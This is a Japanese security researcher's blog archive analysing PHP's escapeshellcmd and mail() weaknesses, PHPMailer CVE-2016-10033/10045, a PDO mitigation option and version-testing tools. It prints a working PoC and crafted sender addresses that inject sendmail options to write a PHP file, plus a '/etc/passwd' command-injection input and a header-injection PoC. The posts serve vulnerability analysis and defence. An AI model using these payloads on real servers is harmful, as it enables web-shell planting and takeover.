プライバシーポリシー

2016年12月30日金曜日

PHPのescapeshellcmdを巡る冒険はmail関数を経てCVE-2016-10033に至った

エグゼクティブサマリ

2011年始めに徳丸がescapeshellcmdの危険性を指摘したが、この問題はmail関数のadditional_parameters経由で攻撃可能であることが2013年末に指摘された。その後2016年末に、PHPMailerの脆弱性CVE-2016-10033として現実のものとなった

経緯


escapeshellcmdはなぜ危険か

経緯のところで説明したように、escapeshellcmdはコマンド文字列全体をエスケープするための関数です。
サンプルとして以下のプログラムを考えます。
<?php
$mail = $_GET['mail'];
$cmd = "/usr/sbin/sendmail -i $mail";
system($cmd);
このプログラムは外部から指定されたメールアドレスに対して空のメールを送信するものです(実用上の意味はありませんが説明を簡単にするためですのでご容赦ください)。…が、一見して分かるようにOSコマンドインジェクション脆弱性があります。例えば、メールアドレスとして下記のメールアドレスを指定します。
sample@example.jp; cat /etc/passwd
実行されるコマンドは下記となり、メール送信に続いて、cat /etc/passwd が実行されます。
/usr/sbin/sendmail sample@example.jp; cat /etc/passwd
このような攻撃を防ぐために、escapeshellcmdは下記のように用います。
<?php
$mail = $_GET['mail'];
$cmd = "/usr/sbin/sendmail -i $mail";
$cmd = escapeshellcmd($cmd);
system($cmd);
この場合、実行されるコマンドは下記となり、OSコマンドインジェクションは避けられます。
/usr/sbin/sendmail -i sample@example.jp\; cat /etc/passwd
しかし、cat /etc/passwdという余計なオプションがついてしまいますので、$mailをダブルクォートで囲むことも一案です。
<?php
$mail = $_GET['mail'];
$cmd = "/usr/sbin/sendmail -i \"$mail\"";
$cmd = escapeshellcmd($cmd);
system($cmd);
実行結果は下記となります。
/usr/sbin/sendmail -i "sample@example.jp\; cat /etc/passwd"
今度は ; cat /etc/passwdも含めてメールアドレスの一部となり、メール送信はエラーになりますが、OSコマンドインジェクションもオプション追加も避けられています。
しかし、このような使い方を想定すると、ダブルクォート「"」はエスケープしてはいけないことになり、実際エスケープされていません。このため、escapeshellcmdのマニュアルには以下のように記載されています。
' および " は、対になっていない場合にのみエスケープされます
ということは、メールアドレスとして下記を指定した場合、
-OQueueDirectory=/tmp" "-X/tmp/exploit.php" "sample@example.jp
実行されるコマンドは下記となり、パラメータインジェクション攻撃が成立します。
/usr/sbin/sendmail -i "-OQueueDirectory=/tmp" "-X/tmp/exploit.php" "sample@example.jp"
この攻撃が成立する理由は、前述のとおり、escapeshellcmdの「' および " は、対になっていない場合にのみエスケープされます」という仕様によるものであり、これはescapeshellcmdのユースケースを考えると不可避であり、仕様の欠陥といえるものです。このため、OSコマンドインジェクション対策には、escapeshellcmdの利用を避け、escapeshellarg関数を用いる必要があります。
CVE-2016-10033の本質は、mail関数とmb_send_mail関数が、OSコマンドインジェクション対策として内部的にescapeshellcmd関数を呼び出しているために、潜在的にパラメータインジェクションに対して脆弱である点をついたものです。

CVE-2016-10033 PoCの巧妙さ

実際のCVE-2016-10033は上記の説明とは少し違います。mail関数は、宛先をメールヘッダから取得する -t オプションが指定されていますが、PHPMailerはSender(エンベロープFrom)の設定するため、sendmailコマンドの-fオプションをmail関数の第5パラメータadditional_parameters経由で指定しています。典型的なsendmail呼び出しは下記となります。
/usr/sbin/sendmail -t -i -fsample@example.jp
ご覧のように-fオプション全体やメールアドレスはダブルクォートで囲まれていません。しかし、これを突破するのは容易ではありません。なぜなら、
  • PHPMailerはSenderプロパティに対してRFC準拠のメールアドレスであることを確認している
  • sendmail呼び出しの前にescapeshellcmdによるエスケープ処理がなされている
  • sendmailコマンドのパラメータチェックを回避する必要がある
この3点を同時に満足するメールアドレスを見つける必要があるからです。私が先に示したPoCでは以下のメールアドレスを使いました。
"a \"  -OQueueDirectory=/tmp  -X/tmp/exploit.php \"a"@example.jp
このメールアドレスは、RFC5321等を満たしています。escapeshellcmdを通ったあとのsendmailコマンド呼び出しは下記となります。
/usr/sbin/sendmail -t -i  -f"a \\" -OQueueDirectory=/tmp -X/tmp/exploit.php \\"a"@example.jp
"は偶数個あるためエスケープされませんが、バックスラッシュ「\」はエスケープされています。この不整合により、/bin/sh経由で呼び出されたsendmailコマンドが受け取るパラータは下記となります。
-t
-i
-fa \
-OQueueDirectory=/tmp
-X/tmp/exploit.php
\a@example.jp
「a \」と「\a@example.jp」はメールアドレスが必要なパラメータであり、RFCには違反していますが、sendmailは一旦これらをエラーとせずメール配送を開始するため、攻撃が成立してしまいます。

mail関数はどうすればいいか

mail関数の今のマニュアルには、以下のように書かれています。
escapeshellcmd() が自動的に適用されるため、 インターネット RFC でメールアドレスとして許可さているいくつかの文字を使用することができません。 mail() はそうした文字を許可しないため、プログラム中でそうした文字の使用が必須である場合、 メール送信の代替手段(フレームワークやライブラリの使用など)が推奨されます。
PHP: mail - Manual より引用
つまり、RFCよりも制限を厳しくしたバリデーションを施さないと危険だということですが、この状態はよろしくないと考えます。現に、PHPMailerだけでなく、Swift Mailerにも同種の指摘(CVE-2016-10074)がなされていますが、PoCが同じなので、mail関数の仕様による問題と考えられます。

これを改善するには、additional_parametersとして現在の文字列パラータに加えて、配列を許すようにする案が考えられます。配列としてパラメータを一つずつ指定できれば、escapeshellarg関数により安全にエスケープ処理が行えるからです。

まとめ

2011年はじめにescapeshellcmdの問題点を指摘した後、2016年末にPHPMaierの脆弱性CVE-2016-10033という重大な問題として顕在化した流れを報告しました。PHPは長い歴史の中で安全性を高めており、この記事や、このスライドにまとめたことがありますが、まだ危険な関数は残っています。今回の問題は、escapeshellcmd、mail、mb_send_mail関数の仕様が問題でした。
今回の問題を機に、さしあたりmail関数とmb_send_mail関数の仕様が見直されることを期待しています。

2016年12月29日木曜日

PHPのmail関数、mb_send_mail関数のマニュアルに警告が追記されていた

昨日の記事PHPMailerの脆弱性CVE-2016-10033について解析したにて、PHPMailerの脆弱性CVE-2016-10033の原因はmail関数が内部で呼んでいるescapeshellcmd関数の仕様が原因であると指摘しました。そして、mail関数の危険性については、小邨孝明さんが2013年12月23日の記事にて指摘していました。
mb_send_mail関数(mail関数も同様)ですが、第5引数(additional_parameter)にユーザの入力を使用する場合は注意が必要です。mb_send_mail関数の第5引数は、内部でescapeshellcmd(内部関数名:php_escape_shell_cmd)によって引数の文字列全体がエスケープされます。

escapeshellcmd() は、以前に徳丸さんから OS コマンドインジェクションの防止には不適切であると指摘されています。ユーザの入力値を十分にチェックしておかないと、sendmailコマンドに任意のコマンドライン引数を渡されてしまうことになります。
mb_send_mail(),mail()で第5引数を設定する際の注意点 より引用
私はこの記事が書かれて直ぐに読んでいましたが、残念ながら多くの方が知るとこではなかったように思います。しかし、今日になって、小邨さんの注意喚起がPHPのマニュアルに追記されていることに気が付きました。


additional_parameters(オプション)
パラメータ additional_parameters は、 追加のフラグをコマンドラインオプションとしてメール送信プログラムに渡す際に使用可能です。 メール送信プログラムは、設定オプション sendmail_path により設定されます。例えば、 sendmail を使用する際に -f オプションを使って エンベロープの sender アドレスを設定する際に使用できます。
このパラメータはコマンドの実行を防止するために内部的に escapeshellcmd() によってエスケープされます。 escapeshellcmd() はコマンドの実行を防止しますが、 別のパラメータを追加することは許してしまいます。セキュリティ上の理由から、 シェルコマンドへの望ましくないパラメータの追加を避けるために、 ユーザーはこのパラメータを適切に処理することが推奨されます。
escapeshellcmd() が自動的に適用されるため、 インターネット RFC でメールアドレスとして許可さているいくつかの文字を使用することができません。 mail() はそうした文字を許可しないため、プログラム中でそうした文字の使用が必須である場合、 メール送信の代替手段(フレームワークやライブラリの使用など)が推奨されます。
PHP: mail - Manual より引用
私は、CVE-2016-10033の主原因はPHPMailerというよりもPHPのmail関数側にあると考えていましたが、上記のようにマニュアル上で「免責」されていたことになります。
それでは、いつごろこの注意書きが追加されたのだろうとarchive.orgで確認したところ、下記のような結果でした。
したがって、2014年1月6日から同年2月9日のどこかのタイミングでこの注意書きが追記されたことになります。いずれにせよ、小邨さんの記事からほどなく、PHP本家のマニュアルに注意書きが追記されたことになります。

これはこれで立派なことですが、PHP利用者は常にマニュアルの変更を見張っているわけではないので、もう少し注意喚起を工夫できなかっただろうかと感じました。

2016年12月28日水曜日

PHPMailerの脆弱性CVE-2016-10033について解析した

エグゼクティブサマリ

PHPMailerにリモートスクリプト実行の脆弱性CVE-2016-10033が公表された。攻撃が成功した場合、ウェブシェルが設置され、ウェブサーバーが乗っ取られる等非常に危険であるが、攻撃成功には下記の条件が必要であることがわかった
  • PHPMailer 5.2.17以前を使っている
  • Senderプロパティ(エンベロープFrom)を外部から設定できる
  • 現在出回っているPoCはMTAとしてsendmailを想定しており、postfixを使っている環境では問題ない
対策版として公開されている PHPMailer 5.2.19も不完全であるので、回避策の導入を推奨する。

はじめに

12月24日にPHPMalerの脆弱性CVE-2016-10033が公表され、とんだクリスマスプレゼントだと話題になっています。
 PHPからのメール送信に広く使われているライブラリの「PHPMailer」に重大な脆弱性が報告され、修正のためのパッチが12月24日付で公開された。悪用されれば任意のコードを実行される恐れも指摘され、米セキュリティ機関のSANS Internet Storm Centerは直ちにパッチを適用するよう呼び掛けている。

「PHPMailer」に重大な脆弱性、直ちにパッチ適用をより引用
「任意コードを実行される」なんて血沸き肉踊りますとても心配ですよね。ということで、詳しく調べてみることにしました。

PoC

PoCは既に公表されているということと、現実のところ攻撃は難しいと考えられるため、この脆弱性のPoCを下記に示します。
<?php
require("PHPMailer/class.phpmailer.php");
$to = 'tokumaru@example.jp'; // 自分のメールアドレスに変更して下さい

// Exploit
$from = '"a \" -OQueueDirectory=/tmp -X/tmp/exploit.php \"a"@example.jp';

$mail = new PHPMailer();
$mail->AddAddress($to);
$mail->Sender = $from;
$mail->Subject = 'CVE-2016-10033 PoC';
$mail->Body  = '<?php phpinfo(); ?>';   // 実行コード
if(!$mail->send()) {
  echo 'Mailer Error: ' . $mail->ErrorInfo . "\n";
} else {
  echo "Message has been sent\n";
}
これを実行すると、/tmp/exploit.php として下記のファイルが生成されます。
05284 <<< To: hiroshi2009@tokumaru.org
05284 <<< Subject: CVE-2016-10033 PoC
... 中略
05284 >>> X-Mailer: PHPMailer 5.2.17 (https://github.com/PHPMailer/PHPMailer)
05284 >>> MIME-Version: 1.0
05284 >>> Content-Type: text/plain; charset=iso-8859-1
05284 >>>
05284 >>> <?php phpinfo(); ?>
05284 >>>
05284 >>> .
05284 <<< 250 2.0.0 uBS1bgVM005294 Message accepted for delivery
05284 >>> QUIT
05284 <<< 221 2.0.0 localhost closing connection
本文中のPHPスクリプトがログとして出力されていることがわかります。
実際の攻撃では、ドキュメントルート上にウェブシェルを設置する等の攻撃ができることになります。

なぜ攻撃が成立するか

PHPMailerのSenderプロパティは、メールの「エンベロープFrom」を設定するもので、受け取ったメールでは、Return-Pathヘッダとして設定されるものです。エンベロープFromについては、水無月ばけらさんの解説をお読み下さい。
PHPMaierでは、メール送信に先立ち、Senderとして設定されたメールアドレスがRFC準拠かどうかを確認した後、下記の流れでmail関数の第5パラメータにセットされます。
$params = sprintf('-f%s', $this->Sender);
... 色々な処理
$result = @mail($to, $subject, $body, $header, $params);
この第5パラメータは、sendmailコマンドに引き渡すオプションパラメータを指定するもので、小邨孝明さんの解説によると、sendmailコマンドの呼び出し前に、escapeshellcmd同等のエスケープ処理が施されます。
mb_send_mail関数(mail関数も同様)ですが、第5引数(additional_parameter)にユーザの入力を使用する場合は注意が必要です。mb_send_mail関数の第5引数は、内部でescapeshellcmd(内部関数名:php_escape_shell_cmd)によって引数の文字列全体がエスケープされます。

escapeshellcmd() は、以前に徳丸さんから OS コマンドインジェクションの防止には不適切であると指摘されています。ユーザの入力値を十分にチェックしておかないと、sendmailコマンドに任意のコマンドライン引数を渡されてしまうことになります。
mb_send_mail(),mail()で第5引数を設定する際の注意点 より引用
そして、まさに『sendmailコマンドに任意のコマンドライン引数を渡されてしまう』ことが起こったわけです。

攻撃に用いるメールアドレスについて

先のPoCで用いた攻撃用のメールアドレスは下記のものですが、
"a \"  -OQueueDirectory=/tmp  -X/tmp/exploit.php \"a"@example.jp
これは、RFC5322等に適合しているため、PHPMailer内部のバリデーションを通過します。このあたりは@cakephperさんが詳しく解説されていますが、
悲しいことに、PCREが入っているほうがPHPの対象範囲が広くなってしまいます・・・
PCREが入っておらず、PHP5.2以上の場合はPHPのfilter_var()でメールアドレスチェックが行われるため救われます。PCREの正規表現よりもfiter_var()を優先すれば良いのに・・・

PHPMailerのリモートコード実行脆弱性(CVE-2016-10033)の影響範囲 より引用
正規表現だとチェックをすりぬけ、filter_varだと弾かれると書いてありますが、これはおそらく、filter_varのメールアドレスチェックは、たとえクォートされていても空白を許さないからだと思います。このあたりは、こちらの記事で書いたことがあります。
さて、実は、先のメールアドレスをそのままsendmailに渡せば、メールアドレスのクォートがうまく働いて攻撃は成立しないのですが、mail関数内部でescapeshellcmd相当のエスケープ処理が入るため、実際のsendmail呼び出しは下記とになります。
sh -c /usr/sbin/sendmail -t -i  -f"a \\" -OQueueDirectory=/tmp -X/tmp/exploit.php \\"a"@example.jp
 -f"a \\" の部分に注目ください。escapeshellcmdがバックスラッシュのみをエスケープしたことが仇となって、実際にsendmailコマンドに渡される-fオプションは、「-fa \」までとなり、-Oパラメータや-Xパラメータがはみ出した状態になります。これが、OSコマンドパラメータインジェクションの原因です。

PHPMailer 5.2.19での対応

対策版とされる PHPMailer 5.2.19 では、以下のようにSenderプロパティをescapeshellarg関数でエスケープしてからmail関数に渡されるようになりました。
$params = sprintf('-f%s', escapeshellarg($this->Sender));
しかし、これはこれで不安ですね。その理由は、escapeshellarg関数の後、mail関数内部でescapeshllcmd相当のエスケープが行われるからです。二重にエスケープされるので予期しない動作になる可能性があります。あれ、これではまずい…
と思って、届出をしていたところ、先に発表されていました。CVE-2016-10045が割り当てられています。PoCも公開されていますね。


先のPoCに対して、Senderのメールアドレスを以下のように変更するだけで、5.2.19への攻撃ができます。ダブルクォートをシングルクォートに変えるだけですね。
$from = '"a \'  -OQueueDirectory=/tmp  -X/tmp/exploit.php \"a"@example.jp';
この場合、まず、escapeshellarg して-f を前置した結果は下記となります。
-f'"a '\'' -OQueueDirectory=/tmp -X/tmp/exploit.php \"a"@example.jp'
そして、sendmailの呼び出しは下記となります。
/usr/sbin/sendmail -t -i  -f'\"a '\\'' -OQueueDirectory=/tmp -X/tmp/exploit.php \\"a"@example.jp\'
ややこしいですが、\がエスケープされて二重になっていますね。その結果、-fオプションが -f'\"a '\\'' で切れてしまっています。この結果は、以下の3要素を連結したものとなっています。
-f'\"a '
\\
''
その結果、sendmailに実際に渡されるパラメータは、-f\"a \ です(''は空文字列ですので)。
結果として、-Oオプションや、-Xオプションがクォートの外にはみ出し、攻撃が成立しています。これは、escapeshellargとescapeshellcmdを両方していることの副作用ですので、安全なエスケープは難しそうです。

影響を受けるMTA

前述のように、現在公開されているPoCは、sendmailコマンドの-Xオプション(MTAのログを-Xで指定したファイルに出力する)を用いたものですが、postfixのsendmailラッパーでは-Xオプションは無効化されているため、攻撃の影響を受けません。私の気づいていない他の攻撃経路の可能性はありますが、さしあたり、sendmailをMTAとして使っている場合よりも、影響を受ける可能性は低いと考えられます。

ケーススタディ HASHコンサルティングのウェブサイト

CVE-2016-10033の影響を受けるソフトウェアの一つにWordPressがあげられています。既報のように、弊社 HASHコンサルティング株式会社のオフィシャルウェブサイトは、2016/9/30にWordPressを用いてリプレースしており、Contact Form 7による問い合わせフォームがあります。Contact Form 7は、WordPressのwp_mailという関数を通じてPHPMailerを呼び出しており、WordPress 4.7(最新版)にバンドルされるPHPMailer は5.2.14という脆弱なバージョンです。
つまり、ビンゴとなっているのですが、下記の2点から、弊社サイトは PHPMailerの影響を受けないと考えられます。
  • エンベロープFrom(Senderプロパティ)は固定とになっていて外部から操作できない
  • MTAとしてPostfixを使用している
特に、Senderプロパティを操作できない点が大きいですね。上記は、あくまで弊社サイトでの状況なので、個別のサイトについてはご確認ください。

対策

対策版として PHPMailer 5.2.19が公開されていますが、前述のようにこの対策はイマイチで、導入してもあまり安全性は変わりません。
このため、回避策として以下を推奨いたします。
  • Senderプロパティを設定しない、あるいは固定にする(強く推奨)
  • MTAとしてsendmailを避け、postfixを使用する
  • ドキュメントルート下のファイルやディレクトリをPHPスクリプトが動作するユーザから書き込み不可に設定する
  • 改ざん検知の仕組みを導入する(緩和策)
どーーーしても、Senderプロパティを動的に変更したい場合、PHPMailerの呼び出し側で、メールアドレスを厳し目にバリデーションするくらいでしょうか。この場合、空白、ダブルクォート、シングルクォート、バックスラッシュが弾かれることを確認ください。

まとめ

PHPMailerの脆弱性CVE-2016-10033とCVE-2016-10045について報告しました。現在公開されているPHPMailer 5.2.19の対策は不完全ですので、回避策の導入を推奨します。
メールアドレスのような複雑な仕様の場合であっても、バリデーションを厳密にしていても重大な脆弱性が混入する可能性があるという点で興味深いと感じました。また、小邨孝明さんの予言が的中した形となり、氏の先見の明には感服するばかりです。

免責

このセキュリティ情報は予告なしに改訂される場合がある。このセキュリティ情報を適用した結果について徳丸浩およびHASHコンサルティング株式会社は一切の責任を負わず、利用者の利益のために、あるがままの状態で公開するものである。

2016年12月19日月曜日

PDOに複文実行を禁止するオプションが追加されていた

エグゼクティブサマリ

PHP 5.5.21、PHP 5.6.5 以降、PHPにPDO::MYSQL_ATTR_MULTI_STATEMENTSというオプションが追加され、PDO+MySQLの組み合わせで、SQLの複文を禁止できるようになった。この設定はSQLインジェクションの緩和策として有効である。

はじめに

2013年12月に公開した PHP+PDO+MySQLの組み合わせではSQLインジェクション攻撃で複文呼び出しが可能 にて、PDOとMySQLの組み合わせで、SQLインジェクションの文脈で複文呼び出しが可能であることを報告していましたが、その後のPHPのバージョンアップで、複文実行を禁止するオプションが追加されていましたので報告します。
対象のバージョンは以下の通りです。
  • PHP 5.5.21 以降
  • PHP 5.6.5 以降
  • 全ての PHP 7.0、7.1
前述の記事を書いた後、3大CMSの一角である Drupal に、Drupageddon (CVE-2014-3704) と呼ばれる恐ろしいSQLインジェクション脆弱性が発見されました。詳しくは、以下の記事を参照下さい。
この記事の中で、私は以下のように書きました。
実験に使用した環境はMySQLを使っていますが、SQLの複文が実行できていることになります。これは、DrupalがPDOを使っているためで、詳しくは以下のエントリを参照ください。
  • PHP+PDO+MySQLの組み合わせではSQLインジェクション攻撃で複文呼び出しが可能
すなわち、タラレバの話にはなりますが、PDOがMySQLでの複文実行を許していなければ、Drupageddonは高危険度の脆弱性には至らなかった可能性があります。少なくとも、攻撃経路はかなり限定されたはずです。
Drupalの開発陣にとっては、この事実はよほど悔しかったのかもしれません。以下のような時系列で、PDO+MySQLで複文を許さなくするオプションが提案されます。
  • 2014年10月15日 Drupageddonを修正した Druapl 7.32 がリリースされる
  • 2014年11月14日 PDOに複文を許さなくするオプションが提案される
  • 2015年 1月22日 上記を実装したPHP 5.5.21およぴ PHP 5.6.5 がリリースされる
すなわち、Drupageddonの公表からわずか3ヶ月ほどで、このオプションが実装・公開されたことになります。

どうしてこのオプションに気づいたか

私はこのオプションの存在に気がついていなかったのですが、昨日modphpallでDrupal8を動かしていたところ、下記の警告が表示されていることに気がつきました。

PHP (multiple statement disabling) 5.5.9 (more information)
PHP versions higher than 5.6.5 or 5.5.21 provide built-in SQL injection protection for mysql databases. It is recommended to update.

multiple statement disabling …ですと?
この情報から、PDO::MYSQL_ATTR_MULTI_STATEMENTSというオプションが追加されたことに気がつきました。

オプションの使い方

マニュアルから、このオプション PDO::MYSQL_ATTR_MULTI_STATEMENTS の説明を引用します。
PDO::MYSQL_ATTR_MULTI_STATEMENTS (integer)
FALSE にすると、PDO::prepare() や PDO::query() でのマルチクエリの実行を無効にします。

この定数が使えるのは、データベースハンドルを新規作成する際の driver_options 配列内だけであることに注意しましょう。

これが使えるようになった PHP のバージョンは 5.5.21 および PHP 5.6.5。

PHP: MySQL (PDO) - Manual より引用
すなわち、new PDOする際に、driver_options配列に上記を設定すればよいことになります。下記は、Drupalのソースコードを参考に、PDO::MYSQL_ATTR_MULTI_STATEMENTS が存在する場合のみ、このオプションを指定しています。
$opt = array(/* 様々な接続時オプション */);
if (defined('PDO::MYSQL_ATTR_MULTI_STATEMENTS')) {
  $opt[PDO::MYSQL_ATTR_MULTI_STATEMENTS] = false;
}
$db = new PDO("mysql:host=DBHOSTNAME;dbname=DBNAME;charset=utf8", DBUSER, DBPASSWORD, $opt);
上記オプションが有効な状態で複文を実行しようとすると、以下のようなエラーになります。
PDO Error:SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; ...

PDO::MYSQL_ATTR_MULTI_STATEMENTS を FALSE にする効果

この設定により、SQLインジェクション攻撃で複文を使用することができなくなります。Drupageddonに効果があることは前述のとおりですが、これは現実的には意味がありません。このオプションの真意は、Drupageddonのある古いDrupalを延命させることではないでしょう。むしろ、今後、SQLの複文を使った攻撃を緩和することにあります。
複文が使えなくなると、SQLインジェクションによる改ざんがほぼできなくなると考えられますので、情報漏えいによる実害があまりなく、改ざんが主な脅威であるようなサイトには特に有力な緩和策になります。

まとめ

PDOの新オプションPDO::MYSQL_ATTR_MULTI_STATEMENTSについて紹介しました。PDOは、従来複文を許しており、SQLインジェクション攻撃を受けた場合にデータの改変など脅威が増加するなど、MySQLi等に比べて影響が大きくなっていました。PDO::MYSQL_ATTR_MULTI_STATEMENTSをFALSEに設定することで、SQLインジェクション攻撃の影響を緩和することができます。わずかな追加で緩和策となるので、このオプションの利用を推奨します。

2016年12月16日金曜日

PHPの全バージョンの挙動をApacheモジュールとして試す

この投稿は PHP Advent Calendar 2016 の16日目の記事です。

エグゼクティブサマリ

PHPのバージョン間の挙動の違いを調査するツールとして、@hnwによるphpallや、それを改造したphpcgiallがあったが、現実のPHPの利用環境とは違いがあり、検証の妨げになる場合があった。このため、PHPのバージョン毎にApacheを異なるポートで動かすことにより、全てのバージョン(229種)のPHPをApacheモジュールとして動作させることに成功し、modphpallと命名した。modphpallはPHPの検証に有効であることを、キャリッジリターンのみで起こるPHPヘッダインジェクションを用いて確認した。

はじめに

昨日の日記では、PHPの全バージョンをCGIモードで試す phpcgiall について紹介しました。HTTPヘッダインジェクションやセッションの挙動について確認するためには、CLI版のPHPでは限界があり、ウェブスクリプトとして全バージョンのPHPを試すことができる phpcgiall は有効であるものの、ヘッダの微妙な挙動については、Apacheモジュール版と差異があることがわかりました。

それに、やはりPHPの本流はCGI版ではなく、Apacheモジュール版であろという思いから、なんとかphpallのApacheモジュール版はできないだろうかと考えるようになりました。
基本的にアイデアは3つありました。
  • Apacheに同時に複数バージョンのPHPを組み込めるようにする
  • Apacheに組み込むPHPを次々に切り替える
  • Apacheのインスタンスを複数起動して、それぞれ異なるバージョンのPHPを動かす
上の2つは、そもそも実現が難しかったり、性能が悪かったり等の予想がありました。そこで、PHPのバージョン毎に異なるポート番号でApacheを起動することで、Apacheモジュール版PHPの全バージョンを一つのサーバーで動かすことを考えました。modphpallと命名しました。

PHPのビルド

既にCLI版とCGI版のPHP版があるので、Apacheモジュール版のPHPをビルドすることには、さほど困難はありませんでした。ただ、時間はそれなりにかかりますね。
PHP 3.0.18(PHP 3の最終バージョン)から最新のPHP 7.1.0 まで、229バージョンのPHPバイナリができあがりました。

Apacheのバージョン

使用するApacheバージョンは、あまり良く考えずに、PHP 3とPHP 4はApache1.3.42(1.3系の最終バージョン)、PHP 5以降はApache2.2.31(2.2系の最新)を用いましたが、これで特に問題は出ていません。

ディレクトリ構成

ディレクトリ構成は下記のとおりです。

~/apache1.3PHP 3, 4向け。Apache 1.3.42のバイナリ、コンフィグレーション
~/apache2.2PHP 5, 7向け。Apache 2.2.31のバイナリ、コンフィグレーション
~/phplibPHP 3, 4, 5, 7のApacheモジュール版バイナリ
~/Dropbox/wwwドキュメントルート。PHPスクリプトを配置

設定ファイル

PHPのバージョンの数だけ、ポート番号を変えてApacheを起動することになるため、設定ファイル(httpd.conに相当するもの)は、簡単なスクリプトでジェネレートしています。
以下のような設定フアイルのテンプレートをPHPのバージョン毎に用意しています。
Include "conf/httpd_header.conf"

Listen %PORT%
LoadModule php5_module        /home/ockeghem/phplib/%PHPVER%.so
ServerName      phpcgiall:%PORT%
PidFile "logs/httpd_%PHPVER%.pid"

Include "conf/httpd_tail.conf"
そして、スクリプトで%PORT%と%PHPVER%を書き換えて、以下のような設定ファイルを生成します。
Include "conf/httpd_header.conf"

Listen 49364
LoadModule php5_module        /home/ockeghem/phplib/php-5.6.29.so
ServerName      phpcgiall:49364
PidFile "logs/httpd_php-5.6.29.pid"

Include "conf/httpd_tail.conf"
そして、同じスクリプトで、以下のような形で起動します。
apache2.2/bin/httpd -f conf/httpd_php-5.6.29.conf
起動後、phpinfo()の表示例を示します。


使用メモリ量

同一サーバー内で229ものApacheインスタンスを起動するので、メモリ使用量が心配になります。手元の環境は、Ubuntu 12.04LTS (32ビット)ですが、VMに割り当てるメモリを当初21Gバイトとしていました。現実には2Gバイト程度でも一応動くようです。現在、暫定的に8Gバイトのメモリを割り当てていますが、起動当初の状態は下記となります。
$ free
             total       used       free     shared    buffers     cached
Mem:       8266464    3794592    4471872          0      48444    1938060
-/+ buffers/cache:    1808088    6458376
Swap:      2093052          0    2093052
$

使ってみる

それでは、modphpallを試してみましょう。PoCは、昨日の日記で示したキャリッジリターンのみを用いたHTTPヘッダインジェクションです。
<?php
  header("Location: http://example.jp/\rSet-Cookie: a=b;");
PHP 5.3.0による実行結果は下記のとおりです。昨日同様、キャリッジリターン(0x0D)をsedにより[CR]と変換して表示しています。
$ curl --dump-header - http://localhost:49220/headerinj-cr.php | sed 's/\r/[CR]/'
HTTP/1.1 302 Found[CR]
Date: Thu, 15 Dec 2016 10:20:07 GMT[CR]
Server: Apache/2.2.31 (Unix) PHP/5.3.0[CR]
X-Powered-By: PHP/5.3.0[CR]
Location: http://example.jp/[CR]Set-Cookie: a=b;
Content-Length: 0[CR]
Content-Type: text/html[CR]
[CR]
めでたく(?)Set-Cookiヘッダの前にキャリッジリターンが出力されており、一部のブラウザ(IE、Google Chrome、Safari等)ではHTTPヘッダインジェクションが起こる結果が出ました。
他のバージョンも含めると、問題が発生するバージョンは下記となります(見やすくなるように表示の順序を入れ替えています)。
$ grep Set-Cookie *.log | sed 's/\r/[CR]/'
php-3.0.18.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
php-4.0.0.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
php-4.0.1.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
...
php-4.4.9.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
php-5.0.0.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
php-5.0.1.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
...
php-5.3.9.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
php-5.3.10.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
$
キャリッジリターンのみでHTTPヘッダインジェクションが起こるのは、PHP 5.3.10までであることがわかります。

まとめ

PHPの全バージョンの挙動をApacheモジュールとして試すことのできる modphpall を作成し、その成果として、キャリッジリターンのみでHTTPヘッダインジェクションを起こすPHPバージョンを確認しました。CGIモードとApacheモジュールの挙動の差は小さいものですが、その小さい差が問題に成る場合もあるので、今後のPHPの検証に役立てたいと思います。

2016年12月15日木曜日

PHPの全バージョンの挙動をCGIモードで試す

PHPの挙動を調べていると、マニュアルにも、ChangeLogにも載っていない変更にしばしば遭遇します。たとえば、PCRE系関数(preg_xxxx)の正規表現指定(第1引数)において、過去のPHPではNULLバイトを許容していましたが、最近のPHPでは、正規表現中のNULLバイトをエラーにしています。この変更は、マニュアルには載っておらず、ChangeLogには記載されているもののNULLバイトとは書いていないので、ちょっと気がつきにくいですね。
Fixed bug #55856 (preg_replace should fail on trailing garbage)
このような場合、ソースコードの該当箇所を調べるか、適当にあたりをつけたバージョンのPHPをビルドして試すなどの手法がとられているかと思いますが、@hnwさんが phpall を発表されたことで、この種の調査が一挙に楽になりました。
例えば、以下のようなサンプルスクリプトを用意して、
<?php
ini_set('display_errors', 'On');
$vul = 0;
function vul($x) {
  echo "vulnerable\n";
  exit;
}
echo 'version=' . phpversion() . "\n";
$x = preg_replace("/^test/e\0/", "vul('\\0');", "test");
echo "not vulnerable\n";
var_dump($x);
phpallを用いると、以下の実行結果を得ます。
$ phpall regexpinj.php
... 略
php-5.4.4: version=5.4.4 vulnerable
php-5.4.5: version=5.4.5 vulnerable
php-5.4.6: version=5.4.6 vulnerable
php-5.4.7: version=5.4.7 Warning: preg_replace(): Null byte in regex in ...
php-5.4.8: version=5.4.8 Warning: preg_replace(): Null byte in regex in ...
php-5.4.9: version=5.4.9 Warning: preg_replace(): Null byte in regex in ...
これにより、PCRE関数で正規表現のNULLバイトチェックが入ったのは PHP 5.4.7であることが一目瞭然分かるわけです。
しかし、phpallでも調査できないような課題があります。それはHTTP固有の問題、たとえばHTTPヘッダやCookie、セッション等の問題です。また、$_GETや$_POSTの挙動もCLI版のPHPでは把握ができません。

ウェブアプリケーションのセキュリティを専門とする立場からは、前述の課題は、下記の脆弱性に関連するものであり、決して軽視はできません。
  • HTTPヘッダインジェクション
  • セッション固定
  • セッションアダプション
  • セッション汚染
  • その他セッション系脆弱性
どうしたらこれを調べられるかと考えているうちに、全てのPHPをCGIモードで動かせばいいというアイデアに至りました。名付けて phpcgiall の誕生です。

phpcgiallの動作原理

動作原理といっても、単に全てのPHPをCGIモードで動かすだけですが、テストのしやすさなども考慮して、以下のような設定を用いています。

まず、各バージョンのPHPに関する設定ですが、以下のような Apache設定ファイルをバージョン毎にジェネレートしています。以下は PHP 5.6.29の例です。これら設定ファイルは、~/phpcgi.confディレクトリに置かれます。CGI版のPHPバイナリは、~/phpcgi/ ディレクトリに置かれます。また、PHPスクリプト(コンテンツ)は、私のDropboxフォルダ上の共通のディレクトリ上に配置しています。
Alias /php-5.6.29/ "/home/ockeghem/Dropbox/www/"
